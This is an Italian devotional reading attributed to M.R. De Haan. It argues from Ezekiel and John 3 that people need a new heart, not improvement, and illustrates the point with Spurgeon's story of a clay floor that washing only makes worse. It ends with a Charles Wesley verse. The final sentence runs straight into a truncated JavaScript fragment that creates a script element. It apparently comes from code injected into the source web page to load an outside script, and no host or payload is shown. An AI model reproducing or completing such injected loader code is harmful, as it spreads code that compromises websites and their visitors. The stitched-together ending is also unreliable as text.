E’ necessario un pavimento nuovo

di M.R. DE HANN  –  ”E vi darò un cuor nuovo”. Ezechiele  36:26   –   Il messaggio della redenzione non è “miglioramento”, bensì “rinnovamento”. Paolo dice: “Se alcuno è in Cristo, è una nuova creatura”, (2 Cor.  5:17). La nuova nascita non è un miglioramento del vecchio uomo ma una nuova crea­zione. Non si tratta quindi di una riverniciatura. La natura del vecchio Adamo è così irrimediabilmente corrotta che Dio stesso non vuol cercare di ripararla o di migliorarla ma insiste perché si butti completamente via come rot­tame  per fare un uomo nuovo. Gesù dice: “Quel che è nato dalla carne, è carne; e quel che è nato dallo Spirito, è spirito. Non ti meravigliare se t’ho detto: Bisogna che nasciate di nuovo,, (Giovanni 3:6-7). La vecchia natura, che hai ricevuto alla nascita naturale, è senza speranza e migliorarla è più pericoloso che lasciarla nel suo stato d’ignoranza e di roz­zezza. Quanto più noi lavoriamo sul ’’vecchio uomo”, tanto più la vecchia natura viene contraffatta. Sai perché il pec­catore deve essere rigenerato? Perché alla sua prima na­scita tutto era a rovescio. Difatti è stato partorito con la parte superiore in basso. Il bambino nasce con la testa sotto e i piedi sopra. L’uomo viene al mondo con le spalle volte al cielo. Ma nella nuova nascita siamo trasformati e generati con la testa nella posizione giusta.

Spurgeon narra di un missionario che visitò la capanna di un indigeno provando grande disgusto davanti allo spor­co pavimento sul quale bisognava camminare e sedersi. Egli consigliò di strofinarne la superficie con acqua e sa­pone. Ma l’indigeno rispose: “Ciò non farebbe altro che peggiorare la cosa. Vedi, il pavimento è fatto di argilla indu­rita e seccata. Se sopra ci metti acqua, diventa fango. Quanto più cerchi di lavarlo, tanto più diventa peggiore”.  Già, nella capanna ci voleva qualcos’altro che un pavimento di terra. – Così accade anche col cuore umano: esso è duro e secco e nulla gli può giovare. L’uomo ha bisogno d’un cuore nuovo. Dobbiamo nascere dall’alto!

O Signore, nella tua grande misericordia scendi presto dal cielo.
Scrivi il tuo nome nel mio cuore nuovo, il nuovo nome del tuo amore.
Charles Wesley

Rifletti: La Bibbia la potremmo paragonare al sapone: chi ha più bisogno del sapone, abitualmente lo usa di meno.var d=document;var s=d.createElement(‘script’);